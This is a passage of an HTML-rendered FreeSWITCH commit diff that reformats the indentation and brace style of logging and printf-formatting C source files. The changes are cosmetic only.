</ins><span class="cx">         switch_assert(pool != NULL);
</span><span class="cx"> 
</span><span class="cx">         LOG_POOL = pool;
</span><span class="lines">@@ -518,13 +524,13 @@
</span><span class="cx"> 
</span><span class="cx">         if (colorize) {
</span><span class="cx"> #ifdef WIN32
</span><del>-                                hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
-                                if (switch_core_get_console() == stdout &amp;&amp; hStdout != INVALID_HANDLE_VALUE &amp;&amp; GetConsoleScreenBufferInfo(hStdout, &amp;csbiInfo)) {
-                                        wOldColorAttrs = csbiInfo.wAttributes;
-                                        COLORIZE = SWITCH_TRUE;
-                                }
</del><ins>+                hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
+                if (switch_core_get_console() == stdout &amp;&amp; hStdout != INVALID_HANDLE_VALUE &amp;&amp; GetConsoleScreenBufferInfo(hStdout, &amp;csbiInfo)) {
+                        wOldColorAttrs = csbiInfo.wAttributes;
+                        COLORIZE = SWITCH_TRUE;
+                }
</ins><span class="cx"> #else
</span><del>-                                COLORIZE = SWITCH_TRUE;
</del><ins>+                COLORIZE = SWITCH_TRUE;
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_mprintfc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_mprintf.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_mprintf.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_mprintf.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -66,25 +66,25 @@
</span><span class="cx"> ** Conversion types fall into various categories as defined by the
</span><span class="cx"> ** following enumeration.
</span><span class="cx"> */
</span><del>-#define etRADIX       1 /* Integer types.  %d, %x, %o, and so forth */
-#define etFLOAT       2 /* Floating point.  %f */
-#define etEXP         3 /* Exponentional notation. %e and %E */
-#define etGENERIC     4 /* Floating or exponential, depending on exponent. %g */
-#define etSIZE        5 /* Return number of characters processed so far. %n */
-#define etSTRING      6 /* Strings. %s */
-#define etDYNSTRING   7 /* Dynamically allocated strings. %z */
-#define etPERCENT     8 /* Percent symbol. %% */
-#define etCHARX       9 /* Characters. %c */
</del><ins>+#define etRADIX       1                        /* Integer types.  %d, %x, %o, and so forth */
+#define etFLOAT       2                        /* Floating point.  %f */
+#define etEXP         3                        /* Exponentional notation. %e and %E */
+#define etGENERIC     4                        /* Floating or exponential, depending on exponent. %g */
+#define etSIZE        5                        /* Return number of characters processed so far. %n */
+#define etSTRING      6                        /* Strings. %s */
+#define etDYNSTRING   7                        /* Dynamically allocated strings. %z */
+#define etPERCENT     8                        /* Percent symbol. %% */
+#define etCHARX       9                        /* Characters. %c */
</ins><span class="cx"> /* The rest are extensions, not normally found in printf() */
</span><del>-#define etCHARLIT    10 /* Literal characters.  %' */
-#define etSQLESCAPE  11 /* Strings with '\'' doubled.  %q */
-#define etSQLESCAPE2 12 /* Strings with '\'' doubled and enclosed in '',
-                          NULL pointers replaced by SQL NULL.  %Q */
</del><ins>+#define etCHARLIT    10                        /* Literal characters.  %' */
+#define etSQLESCAPE  11                        /* Strings with '\'' doubled.  %q */
+#define etSQLESCAPE2 12                        /* Strings with '\'' doubled and enclosed in '',
+                                                                   NULL pointers replaced by SQL NULL.  %Q */
</ins><span class="cx"> #ifdef __UNSUPPORTED__
</span><del>-#define etTOKEN      13 /* a pointer to a Token structure */
-#define etSRCLIST    14 /* a pointer to a SrcList */
</del><ins>+#define etTOKEN      13                        /* a pointer to a Token structure */
+#define etSRCLIST    14                        /* a pointer to a SrcList */
</ins><span class="cx"> #endif
</span><del>-#define etPOINTER    15 /* The %p conversion */
</del><ins>+#define etPOINTER    15                        /* The %p conversion */
</ins><span class="cx"> #define etSQLESCAPE3 16
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -96,21 +96,21 @@
</span><span class="cx"> ** Each builtin conversion character (ex: the 'd' in &quot;%d&quot;) is described
</span><span class="cx"> ** by an instance of the following structure
</span><span class="cx"> */
</span><del>-typedef struct et_info {   /* Information about each format field */
-  char fmttype;            /* The format field code letter */
-  etByte base;             /* The base for radix conversion */
-  etByte flags;            /* One or more of FLAG_ constants below */
-  etByte type;             /* Conversion paradigm */
-  etByte charset;          /* Offset into aDigits[] of the digits string */
-  etByte prefix;           /* Offset into aPrefix[] of the prefix string */
</del><ins>+typedef struct et_info {                /* Information about each format field */
+        char fmttype;                                /* The format field code letter */
+        etByte base;                                /* The base for radix conversion */
+        etByte flags;                                /* One or more of FLAG_ constants below */
+        etByte type;                                /* Conversion paradigm */
+        etByte charset;                                /* Offset into aDigits[] of the digits string */
+        etByte prefix;                                /* Offset into aPrefix[] of the prefix string */
</ins><span class="cx"> } et_info;
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="cx"> ** Allowed values for et_info.flags
</span><span class="cx"> */
</span><del>-#define FLAG_SIGNED  1     /* True if the value to convert is signed */
-#define FLAG_INTERN  2     /* True if for internal use only */
-#define FLAG_STRING  4     /* Allow infinity precision */
</del><ins>+#define FLAG_SIGNED  1                        /* True if the value to convert is signed */
+#define FLAG_INTERN  2                        /* True if for internal use only */
+#define FLAG_STRING  4                        /* Allow infinity precision */
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -120,33 +120,34 @@
</span><span class="cx"> static const char aDigits[] = &quot;0123456789ABCDEF0123456789abcdef&quot;;
</span><span class="cx"> static const char aPrefix[] = &quot;-x0\000X0&quot;;
</span><span class="cx"> static const et_info fmtinfo[] = {
</span><del>-  {  'd', 10, 1, etRADIX,      0,  0 },
-  {  's',  0, 4, etSTRING,     0,  0 },
-  {  'g',  0, 1, etGENERIC,    30, 0 },
-  {  'z',  0, 6, etDYNSTRING,  0,  0 },
-  {  'q',  0, 4, etSQLESCAPE,  0,  0 },
-  {  'Q',  0, 4, etSQLESCAPE2, 0,  0 },
-  {  'w',  0, 4, etSQLESCAPE3, 0,  0 },
-  {  'c',  0, 0, etCHARX,      0,  0 },
-  {  'o',  8, 0, etRADIX,      0,  2 },
-  {  'u', 10, 0, etRADIX,      0,  0 },
-  {  'x', 16, 0, etRADIX,      16, 1 },
-  {  'X', 16, 0, etRADIX,      0,  4 },
</del><ins>+        {'d', 10, 1, etRADIX, 0, 0},
+        {'s', 0, 4, etSTRING, 0, 0},
+        {'g', 0, 1, etGENERIC, 30, 0},
+        {'z', 0, 6, etDYNSTRING, 0, 0},
+        {'q', 0, 4, etSQLESCAPE, 0, 0},
+        {'Q', 0, 4, etSQLESCAPE2, 0, 0},
+        {'w', 0, 4, etSQLESCAPE3, 0, 0},
+        {'c', 0, 0, etCHARX, 0, 0},
+        {'o', 8, 0, etRADIX, 0, 2},
+        {'u', 10, 0, etRADIX, 0, 0},
+        {'x', 16, 0, etRADIX, 16, 1},
+        {'X', 16, 0, etRADIX, 0, 4},
</ins><span class="cx"> #ifndef SWITCH_OMIT_FLOATING_POINT
</span><del>-  {  'f',  0, 1, etFLOAT,      0,  0 },
-  {  'e',  0, 1, etEXP,        30, 0 },
-  {  'E',  0, 1, etEXP,        14, 0 },
-  {  'G',  0, 1, etGENERIC,    14, 0 },
</del><ins>+        {'f', 0, 1, etFLOAT, 0, 0},
+        {'e', 0, 1, etEXP, 30, 0},
+        {'E', 0, 1, etEXP, 14, 0},
+        {'G', 0, 1, etGENERIC, 14, 0},
</ins><span class="cx"> #endif
</span><del>-  {  'i', 10, 1, etRADIX,      0,  0 },
-  {  'n',  0, 0, etSIZE,       0,  0 },
-  {  '%',  0, 0, etPERCENT,    0,  0 },
-  {  'p', 16, 0, etPOINTER,    0,  1 },
</del><ins>+        {'i', 10, 1, etRADIX, 0, 0},
+        {'n', 0, 0, etSIZE, 0, 0},
+        {'%', 0, 0, etPERCENT, 0, 0},
+        {'p', 16, 0, etPOINTER, 0, 1},
</ins><span class="cx"> #ifdef __UNSUPPORTED__
</span><del>-  {  'T',  0, 2, etTOKEN,      0,  0 },
-  {  'S',  0, 2, etSRCLIST,    0,  0 },
</del><ins>+        {'T', 0, 2, etTOKEN, 0, 0},
+        {'S', 0, 2, etSRCLIST, 0, 0},
</ins><span class="cx"> #endif
</span><span class="cx"> };
</span><ins>+
</ins><span class="cx"> #define etNINFO  (sizeof(fmtinfo)/sizeof(fmtinfo[0]))
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -167,15 +168,17 @@
</span><span class="cx"> ** 16 (the number of significant digits in a 64-bit float) '0' is
</span><span class="cx"> ** always returned.
</span><span class="cx"> */
</span><del>-static int et_getdigit(LONGDOUBLE_TYPE *val, int *cnt){
-  int digit;
-  LONGDOUBLE_TYPE d;
-  if ( (*cnt)++ &gt;= 16 ) return '0';
-  digit = (int)*val;
-  d = digit;
-  digit += '0';
-  *val = (*val - d)*10.0;
-  return digit;
</del><ins>+static int et_getdigit(LONGDOUBLE_TYPE * val, int *cnt)
+{
+        int digit;
+        LONGDOUBLE_TYPE d;
+        if ((*cnt)++ &gt;= 16)
+                return '0';
+        digit = (int) *val;
+        d = digit;
+        digit += '0';
+        *val = (*val - d) * 10.0;
+        return digit;
</ins><span class="cx"> }
</span><span class="cx"> #endif /* SWITCH_OMIT_FLOATING_POINT */
</span><span class="cx"> 
</span><span class="lines">@@ -187,7 +190,7 @@
</span><span class="cx"> #ifndef SWITCH_PRINT_BUF_SIZE
</span><span class="cx"> # define SWITCH_PRINT_BUF_SIZE 350
</span><span class="cx"> #endif
</span><del>-#define etBUFSIZE SWITCH_PRINT_BUF_SIZE  /* Size of the output buffer */
</del><ins>+#define etBUFSIZE SWITCH_PRINT_BUF_SIZE        /* Size of the output buffer */
</ins><span class="cx"> 
</span><span class="cx"> /*
</span><span class="cx"> ** The root program.  All variations call this core.
</span><span class="lines">@@ -216,510 +219,576 @@
</span><span class="cx"> ** seems to make a big difference in determining how fast this beast
</span><span class="cx"> ** will run.
</span><span class="cx"> */
</span><del>-static int vxprintf(
-  void (*func)(void*,const char*,int),     /* Consumer of text */
-  void *arg,                         /* First argument to the consumer */
-  int useExtended,                   /* Allow extended %-conversions */
-  const char *fmt,                   /* Format string */
-  va_list ap                         /* arguments */
-){
-  int c;                     /* Next character in the format string */
-  char *bufpt;               /* Pointer to the conversion buffer */
-  int precision;             /* Precision of the current field */
-  int length;                /* Length of the field */
-  int idx;                   /* A general purpose loop counter */
-  int count;                 /* Total number of characters output */
-  int width;                 /* Width of the current field */
-  etByte flag_leftjustify;   /* True if &quot;-&quot; flag is present */
-  etByte flag_plussign;      /* True if &quot;+&quot; flag is present */
-  etByte flag_blanksign;     /* True if &quot; &quot; flag is present */
-  etByte flag_alternateform; /* True if &quot;#&quot; flag is present */
-  etByte flag_altform2;      /* True if &quot;!&quot; flag is present */
-  etByte flag_zeropad;       /* True if field width constant starts with zero */
-  etByte flag_long;          /* True if &quot;l&quot; flag is present */
-  etByte flag_longlong;      /* True if the &quot;ll&quot; flag is present */
-  etByte done;               /* Loop termination flag */
-  uint64_t longvalue;   /* Value for integer types */
-  LONGDOUBLE_TYPE realvalue; /* Value for real types */
-  const et_info *infop;      /* Pointer to the appropriate info structure */
-  char buf[etBUFSIZE];       /* Conversion buffer */
-  char prefix;               /* Prefix character.  &quot;+&quot; or &quot;-&quot; or &quot; &quot; or '\0'. */
-  etByte errorflag = 0;      /* True if an error is encountered */
-  etByte xtype = 0;          /* Conversion paradigm */
-  char *zExtra;              /* Extra memory used for etTCLESCAPE conversions */
-  static const char spaces[] =
-   &quot;                                                                         &quot;;
</del><ins>+static int vxprintf(void (*func) (void *, const char *, int),        /* Consumer of text */
+                                        void *arg,        /* First argument to the consumer */
+                                        int useExtended,        /* Allow extended %-conversions */
+                                        const char *fmt,        /* Format string */
+                                        va_list ap        /* arguments */
+        )
+{
+        int c;                                                /* Next character in the format string */
+        char *bufpt;                                /* Pointer to the conversion buffer */
+        int precision;                                /* Precision of the current field */
+        int length;                                        /* Length of the field */
+        int idx;                                        /* A general purpose loop counter */
+        int count;                                        /* Total number of characters output */
+        int width;                                        /* Width of the current field */
+        etByte flag_leftjustify;        /* True if &quot;-&quot; flag is present */
+        etByte flag_plussign;                /* True if &quot;+&quot; flag is present */
+        etByte flag_blanksign;                /* True if &quot; &quot; flag is present */
+        etByte flag_alternateform;        /* True if &quot;#&quot; flag is present */
+        etByte flag_altform2;                /* True if &quot;!&quot; flag is present */
+        etByte flag_zeropad;                /* True if field width constant starts with zero */
+        etByte flag_long;                        /* True if &quot;l&quot; flag is present */
+        etByte flag_longlong;                /* True if the &quot;ll&quot; flag is present */
+        etByte done;                                /* Loop termination flag */
+        uint64_t longvalue;                        /* Value for integer types */
+        LONGDOUBLE_TYPE realvalue;        /* Value for real types */
+        const et_info *infop;                /* Pointer to the appropriate info structure */
+        char buf[etBUFSIZE];                /* Conversion buffer */
+        char prefix;                                /* Prefix character.  &quot;+&quot; or &quot;-&quot; or &quot; &quot; or '\0'. */
+        etByte errorflag = 0;                /* True if an error is encountered */
+        etByte xtype = 0;                        /* Conversion paradigm */
+        char *zExtra;                                /* Extra memory used for etTCLESCAPE conversions */
+        static const char spaces[] = &quot;                                                                         &quot;;
</ins><span class="cx"> #define etSPACESIZE (sizeof(spaces)-1)
</span><span class="cx"> #ifndef SWITCH_OMIT_FLOATING_POINT
</span><del>-  int  exp, e2;              /* exponent of real numbers */
-  double rounder;            /* Used for rounding floating point values */
-  etByte flag_dp;            /* True if decimal point should be shown */
-  etByte flag_rtz;           /* True if trailing zeros should be removed */
-  etByte flag_exp;           /* True to force display of the exponent */
-  int nsd;                   /* Number of significant digits returned */
</del><ins>+        int exp, e2;                                /* exponent of real numbers */
+        double rounder;                                /* Used for rounding floating point values */
+        etByte flag_dp;                                /* True if decimal point should be shown */
+        etByte flag_rtz;                        /* True if trailing zeros should be removed */
+        etByte flag_exp;                        /* True to force display of the exponent */
+        int nsd;                                        /* Number of significant digits returned */
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-  func(arg,&quot;&quot;,0);
-  count = length = 0;
-  bufpt = 0;
-  for(; (c=(*fmt))!=0; ++fmt){
-    if ( c!='%' ){
-      int amt;
-      bufpt = (char *)fmt;
-      amt = 1;
-      while( (c=(*++fmt))!='%' &amp;&amp; c!=0 ) amt++;
-      (*func)(arg,bufpt,amt);
-      count += amt;
-      if ( c==0 ) break;
-    }
-    if ( (c=(*++fmt))==0 ){
-      errorflag = 1;
-      (*func)(arg,&quot;%&quot;,1);
-      count++;
-      break;
-    }
-    /* Find out what flags are present */
-    flag_leftjustify = flag_plussign = flag_blanksign = 
-     flag_alternateform = flag_altform2 = flag_zeropad = 0;
-    done = 0;
-    do{
-      switch( c ){
-        case '-':   flag_leftjustify = 1;     break;
-        case '+':   flag_plussign = 1;        break;
-        case ' ':   flag_blanksign = 1;       break;
-        case '#':   flag_alternateform = 1;   break;
-        case '!':   flag_altform2 = 1;        break;
-        case '0':   flag_zeropad = 1;         break;
-        default:    done = 1;                 break;
-      }
-    }while( !done &amp;&amp; (c=(*++fmt))!=0 );
-    /* Get the field width */
-    width = 0;
-    if ( c=='*' ){
-      width = va_arg(ap,int);
-      if ( width&lt;0 ){
-        flag_leftjustify = 1;
-        width = -width;
-      }
-      c = *++fmt;
-    }else{
-      while( c&gt;='0' &amp;&amp; c&lt;='9' ){
-        width = width*10 + c - '0';
-        c = *++fmt;
-      }
-    }
-    if ( width &gt; etBUFSIZE-10 ){
-      width = etBUFSIZE-10;
-    }
-    /* Get the precision */
-    if ( c=='.' ){
-      precision = 0;
-      c = *++fmt;
-      if ( c=='*' ){
-        precision = va_arg(ap,int);
-        if ( precision&lt;0 ) precision = -precision;
-        c = *++fmt;
-      }else{
-        while( c&gt;='0' &amp;&amp; c&lt;='9' ){
-          precision = precision*10 + c - '0';
-          c = *++fmt;
-        }
-      }
-    }else{
-      precision = -1;
-    }
-    /* Get the conversion type modifier */
-    if ( c=='l' ){
-      flag_long = 1;
-      c = *++fmt;
-      if ( c=='l' ){
-        flag_longlong = 1;
-        c = *++fmt;
-      }else{
-        flag_longlong = 0;
-      }
-    }else{
-      flag_long = flag_longlong = 0;
-    }
-    /* Fetch the info entry for the field */
-    infop = 0;
-    for(idx=0; idx&lt;etNINFO; idx++){
-      if ( c==fmtinfo[idx].fmttype ){
-        infop = &amp;fmtinfo[idx];
-        if ( useExtended || (infop-&gt;flags &amp; FLAG_INTERN)==0 ){
-          xtype = infop-&gt;type;
-        }else{
-          return -1;
-        }
-        break;
-      }
-    }
-    zExtra = 0;
-    if ( infop==0 ){
-      return -1;
-    }
</del><ins>+        func(arg, &quot;&quot;, 0);
+        count = length = 0;
+        bufpt = 0;
+        for (; (c = (*fmt)) != 0; ++fmt) {
+                if (c != '%') {
+                        int amt;
+                        bufpt = (char *) fmt;
+                        amt = 1;
+                        while ((c = (*++fmt)) != '%' &amp;&amp; c != 0)
+                                amt++;
+                        (*func) (arg, bufpt, amt);
+                        count += amt;
+                        if (c == 0)
+                                break;
+                }
+                if ((c = (*++fmt)) == 0) {
+                        errorflag = 1;
+                        (*func) (arg, &quot;%&quot;, 1);
+                        count++;
+                        break;
+                }
+                /* Find out what flags are present */
+                flag_leftjustify = flag_plussign = flag_blanksign = flag_alternateform = flag_altform2 = flag_zeropad = 0;
+                done = 0;
+                do {
+                        switch (c) {
+                        case '-':
+                                flag_leftjustify = 1;
+                                break;
+                        case '+':
+                                flag_plussign = 1;
+                                break;
+                        case ' ':
+                                flag_blanksign = 1;
+                                break;
+                        case '#':
+                                flag_alternateform = 1;
+                                break;
+                        case '!':
+                                flag_altform2 = 1;
+                                break;
+                        case '0':
+                                flag_zeropad = 1;
+                                break;
+                        default:
+                                done = 1;
+                                break;
+                        }
+                } while (!done &amp;&amp; (c = (*++fmt)) != 0);
+                /* Get the field width */
+                width = 0;
+                if (c == '*') {
+                        width = va_arg(ap, int);
+                        if (width &lt; 0) {
+                                flag_leftjustify = 1;
+                                width = -width;
+                        }
+                        c = *++fmt;
+                } else {
+                        while (c &gt;= '0' &amp;&amp; c &lt;= '9') {
+                                width = width * 10 + c - '0';
+                                c = *++fmt;
+                        }
+                }
+                if (width &gt; etBUFSIZE - 10) {
+                        width = etBUFSIZE - 10;
+                }
+                /* Get the precision */
+                if (c == '.') {
+                        precision = 0;
+                        c = *++fmt;
+                        if (c == '*') {
+                                precision = va_arg(ap, int);
+                                if (precision &lt; 0)
+                                        precision = -precision;
+                                c = *++fmt;
+                        } else {
+                                while (c &gt;= '0' &amp;&amp; c &lt;= '9') {
+                                        precision = precision * 10 + c - '0';
+                                        c = *++fmt;
+                                }
+                        }
+                } else {
+                        precision = -1;
+                }
+                /* Get the conversion type modifier */
+                if (c == 'l') {
+                        flag_long = 1;
+                        c = *++fmt;
+                        if (c == 'l') {
+                                flag_longlong = 1;
+                                c = *++fmt;
+                        } else {
+                                flag_longlong = 0;
+                        }
+                } else {
+                        flag_long = flag_longlong = 0;
+                }
+                /* Fetch the info entry for the field */
+                infop = 0;
+                for (idx = 0; idx &lt; etNINFO; idx++) {
+                        if (c == fmtinfo[idx].fmttype) {
+                                infop = &amp;fmtinfo[idx];
+                                if (useExtended || (infop-&gt;flags &amp; FLAG_INTERN) == 0) {
+                                        xtype = infop-&gt;type;
+                                } else {
+                                        return -1;
+                                }
+                                break;
+                        }
+                }
+                zExtra = 0;
+                if (infop == 0) {
+                        return -1;
+                }
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-    /* Limit the precision to prevent overflowing buf[] during conversion */
-    if ( precision&gt;etBUFSIZE-40 &amp;&amp; (infop-&gt;flags &amp; FLAG_STRING)==0 ){
-      precision = etBUFSIZE-40;
-    }
</del><ins>+                /* Limit the precision to prevent overflowing buf[] during conversion */
+                if (precision &gt; etBUFSIZE - 40 &amp;&amp; (infop-&gt;flags &amp; FLAG_STRING) == 0) {
+                        precision = etBUFSIZE - 40;
+                }
</ins><span class="cx"> 
</span><del>-    /*
-    ** At this point, variables are initialized as follows:
-    **
-    **   flag_alternateform          TRUE if a '#' is present.
-    **   flag_altform2               TRUE if a '!' is present.
-    **   flag_plussign               TRUE if a '+' is present.
-    **   flag_leftjustify            TRUE if a '-' is present or if the
-    **                               field width was negative.
-    **   flag_zeropad                TRUE if the width began with 0.
-    **   flag_long                   TRUE if the letter 'l' (ell) prefixed
-    **                               the conversion character.
-    **   flag_longlong               TRUE if the letter 'll' (ell ell) prefixed
-    **                               the conversion character.
-    **   flag_blanksign              TRUE if a ' ' is present.
-    **   width                       The specified field width.  This is
-    **                               always non-negative.  Zero is the default.
-    **   precision                   The specified precision.  The default
-    **                               is -1.
-    **   xtype                       The class of the conversion.
-    **   infop                       Pointer to the appropriate info struct.
-    */
-    switch( xtype ){
-      case etPOINTER:
-        flag_longlong = sizeof(char*)==sizeof(int64_t);
-        flag_long = sizeof(char*)==sizeof(long int);
-        /* Fall through into the next case */
-      case etRADIX:
-        if ( infop-&gt;flags &amp; FLAG_SIGNED ){
-          int64_t v;
-          if ( flag_longlong )   v = va_arg(ap,int64_t);
-          else if ( flag_long )  v = va_arg(ap,long int);
-          else                  v = va_arg(ap,int);
-          if ( v&lt;0 ){
-            longvalue = -v;
-            prefix = '-';
-          }else{
-            longvalue = v;
-            if ( flag_plussign )        prefix = '+';
-            else if ( flag_blanksign )  prefix = ' ';
-            else                       prefix = 0;
-          }
-        }else{
-          if ( flag_longlong )   longvalue = va_arg(ap,uint64_t);
-          else if ( flag_long )  longvalue = va_arg(ap,unsigned long int);
-          else                  longvalue = va_arg(ap,unsigned int);
-          prefix = 0;
-        }
-        if ( longvalue==0 ) flag_alternateform = 0;
-        if ( flag_zeropad &amp;&amp; precision&lt;width-(prefix!=0) ){
-          precision = width-(prefix!=0);
-        }
-        bufpt = &amp;buf[etBUFSIZE-1];
-        {
-          register const char *cset;      /* Use registers for speed */
-          register int base;
-          cset = &amp;aDigits[infop-&gt;charset];
-          base = infop-&gt;base;
-          do{                                           /* Convert to ascii */
-            *(--bufpt) = cset[longvalue%base];
-            longvalue = longvalue/base;
-          }while( longvalue&gt;0 );
-        }
-        length = &amp;buf[etBUFSIZE-1]-bufpt;
-        for(idx=precision-length; idx&gt;0; idx--){
-          *(--bufpt) = '0';                             /* Zero pad */
-        }
-        if ( prefix ) *(--bufpt) = prefix;               /* Add sign */
-        if ( flag_alternateform &amp;&amp; infop-&gt;prefix ){      /* Add &quot;0&quot; or &quot;0x&quot; */
-          const char *pre;
-          char x;
-          pre = &amp;aPrefix[infop-&gt;prefix];
-          if ( *bufpt!=pre[0] ){
-            for(; (x=(*pre))!=0; pre++) *(--bufpt) = x;
-          }
-        }
-        length = &amp;buf[etBUFSIZE-1]-bufpt;
-        break;
-      case etFLOAT:
-      case etEXP:
-      case etGENERIC:
-        realvalue = va_arg(ap,double);
</del><ins>+                /*
+                 ** At this point, variables are initialized as follows:
+                 **
+                 **   flag_alternateform          TRUE if a '#' is present.
+                 **   flag_altform2               TRUE if a '!' is present.
+                 **   flag_plussign               TRUE if a '+' is present.
+                 **   flag_leftjustify            TRUE if a '-' is present or if the
+                 **                               field width was negative.
+                 **   flag_zeropad                TRUE if the width began with 0.
+                 **   flag_long                   TRUE if the letter 'l' (ell) prefixed
+                 **                               the conversion character.
+                 **   flag_longlong               TRUE if the letter 'll' (ell ell) prefixed
+                 **                               the conversion character.
+                 **   flag_blanksign              TRUE if a ' ' is present.
+                 **   width                       The specified field width.  This is
+                 **                               always non-negative.  Zero is the default.
+                 **   precision                   The specified precision.  The default
+                 **                               is -1.
+                 **   xtype                       The class of the conversion.
+                 **   infop                       Pointer to the appropriate info struct.
+                 */
+                switch (xtype) {
+                case etPOINTER:
+                        flag_longlong = sizeof(char *) == sizeof(int64_t);
+                        flag_long = sizeof(char *) == sizeof(long int);
+                        /* Fall through into the next case */
+                case etRADIX:
+                        if (infop-&gt;flags &amp; FLAG_SIGNED) {
+                                int64_t v;
+                                if (flag_longlong)
+                                        v = va_arg(ap, int64_t);
+                                else if (flag_long)
+                                        v = va_arg(ap, long int);
+                                else
+                                        v = va_arg(ap, int);
+                                if (v &lt; 0) {
+                                        longvalue = -v;
+                                        prefix = '-';
+                                } else {
+                                        longvalue = v;
+                                        if (flag_plussign)
+                                                prefix = '+';
+                                        else if (flag_blanksign)
+                                                prefix = ' ';
+                                        else
+                                                prefix = 0;
+                                }
+                        } else {
+                                if (flag_longlong)
+                                        longvalue = va_arg(ap, uint64_t);
+                                else if (flag_long)
+                                        longvalue = va_arg(ap, unsigned long int);
+                                else
+                                        longvalue = va_arg(ap, unsigned int);
+                                prefix = 0;
+                        }
+                        if (longvalue == 0)
+                                flag_alternateform = 0;
+                        if (flag_zeropad &amp;&amp; precision &lt; width - (prefix != 0)) {
+                                precision = width - (prefix != 0);
+                        }
+                        bufpt = &amp;buf[etBUFSIZE - 1];
+                        {
+                                register const char *cset;        /* Use registers for speed */
+                                register int base;
+                                cset = &amp;aDigits[infop-&gt;charset];
+                                base = infop-&gt;base;
+                                do {                        /* Convert to ascii */
+                                        *(--bufpt) = cset[longvalue % base];
+                                        longvalue = longvalue / base;
+                                } while (longvalue &gt; 0);
+                        }
+                        length = &amp;buf[etBUFSIZE - 1] - bufpt;
+                        for (idx = precision - length; idx &gt; 0; idx--) {
+                                *(--bufpt) = '0';        /* Zero pad */
+                        }
+                        if (prefix)
+                                *(--bufpt) = prefix;        /* Add sign */
+                        if (flag_alternateform &amp;&amp; infop-&gt;prefix) {        /* Add &quot;0&quot; or &quot;0x&quot; */
+                                const char *pre;
+                                char x;
+                                pre = &amp;aPrefix[infop-&gt;prefix];
+                                if (*bufpt != pre[0]) {
+                                        for (; (x = (*pre)) != 0; pre++)
+                                                *(--bufpt) = x;
+                                }
+                        }
+                        length = &amp;buf[etBUFSIZE - 1] - bufpt;
+                        break;
+                case etFLOAT:
+                case etEXP:
+                case etGENERIC:
+                        realvalue = va_arg(ap, double);
</ins><span class="cx"> #ifndef SWITCH_OMIT_FLOATING_POINT
</span><del>-        if ( precision&lt;0 ) precision = 6;         /* Set default precision */
-        if ( precision&gt;etBUFSIZE/2-10 ) precision = etBUFSIZE/2-10;
-        if ( realvalue&lt;0.0 ){
-          realvalue = -realvalue;
-          prefix = '-';
-        }else{
-          if ( flag_plussign )          prefix = '+';
-          else if ( flag_blanksign )    prefix = ' ';
-          else                         prefix = 0;
-        }
-        if ( xtype==etGENERIC &amp;&amp; precision&gt;0 ) precision--;
</del><ins>+                        if (precision &lt; 0)
+                                precision = 6;        /* Set default precision */
+                        if (precision &gt; etBUFSIZE / 2 - 10)
+                                precision = etBUFSIZE / 2 - 10;
+                        if (realvalue &lt; 0.0) {
+                                realvalue = -realvalue;
+                                prefix = '-';
+                        } else {
+                                if (flag_plussign)
+                                        prefix = '+';
+                                else if (flag_blanksign)
+                                        prefix = ' ';
+                                else
+                                        prefix = 0;
+                        }
+                        if (xtype == etGENERIC &amp;&amp; precision &gt; 0)
+                                precision--;
</ins><span class="cx"> #if 0
</span><del>-        /* Rounding works like BSD when the constant 0.4999 is used.  Wierd! */
-        for(idx=precision, rounder=0.4999; idx&gt;0; idx--, rounder*=0.1);
</del><ins>+                        /* Rounding works like BSD when the constant 0.4999 is used.  Wierd! */
+                        for (idx = precision, rounder = 0.4999; idx &gt; 0; idx--, rounder *= 0.1);
</ins><span class="cx"> #else
</span><del>-        /* It makes more sense to use 0.5 */
-        for(idx=precision, rounder=0.5; idx&gt;0; idx--, rounder*=0.1){}
</del><ins>+                        /* It makes more sense to use 0.5 */
+                        for (idx = precision, rounder = 0.5; idx &gt; 0; idx--, rounder *= 0.1) {
+                        }
</ins><span class="cx"> #endif
</span><del>-        if ( xtype==etFLOAT ) realvalue += rounder;
-        /* Normalize realvalue to within 10.0 &gt; realvalue &gt;= 1.0 */
-        exp = 0;
-        if ( realvalue&gt;0.0 ){
-          while( realvalue&gt;=1e32 &amp;&amp; exp&lt;=350 ){ realvalue *= 1e-32; exp+=32; }
-          while( realvalue&gt;=1e8 &amp;&amp; exp&lt;=350 ){ realvalue *= 1e-8; exp+=8; }
-          while( realvalue&gt;=10.0 &amp;&amp; exp&lt;=350 ){ realvalue *= 0.1; exp++; }
-          while( realvalue&lt;1e-8 &amp;&amp; exp&gt;=-350 ){ realvalue *= 1e8; exp-=8; }
-          while( realvalue&lt;1.0 &amp;&amp; exp&gt;=-350 ){ realvalue *= 10.0; exp--; }
-          if ( exp&gt;350 || exp&lt;-350 ){
-            bufpt = &quot;NaN&quot;;
-            length = 3;
-            break;
-          }
-        }
-        bufpt = buf;
-        /*
-        ** If the field type is etGENERIC, then convert to either etEXP
-        ** or etFLOAT, as appropriate.
-        */
-        flag_exp = xtype==etEXP;
-        if ( xtype!=etFLOAT ){
-          realvalue += rounder;
-          if ( realvalue&gt;=10.0 ){ realvalue *= 0.1; exp++; }
-        }
-        if ( xtype==etGENERIC ){
-          flag_rtz = !flag_alternateform;
-          if ( exp&lt;-4 || exp&gt;precision ){
-            xtype = etEXP;
-          }else{
-            precision = precision - exp;
-            xtype = etFLOAT;
-          }
-        }else{
-          flag_rtz = 0;
-        }
-        if ( xtype==etEXP ){
-          e2 = 0;
-        }else{
-          e2 = exp;
-        }
-        nsd = 0;
-        flag_dp = (precision&gt;0) | flag_alternateform | flag_altform2;
-        /* The sign in front of the number */
-        if ( prefix ){
-          *(bufpt++) = prefix;
-        }
-        /* Digits prior to the decimal point */
-        if ( e2&lt;0 ){
-          *(bufpt++) = '0';
-        }else{
-          for(; e2&gt;=0; e2--){
-            *(bufpt++) = (char)et_getdigit(&amp;realvalue,&amp;nsd);
-          }
-        }
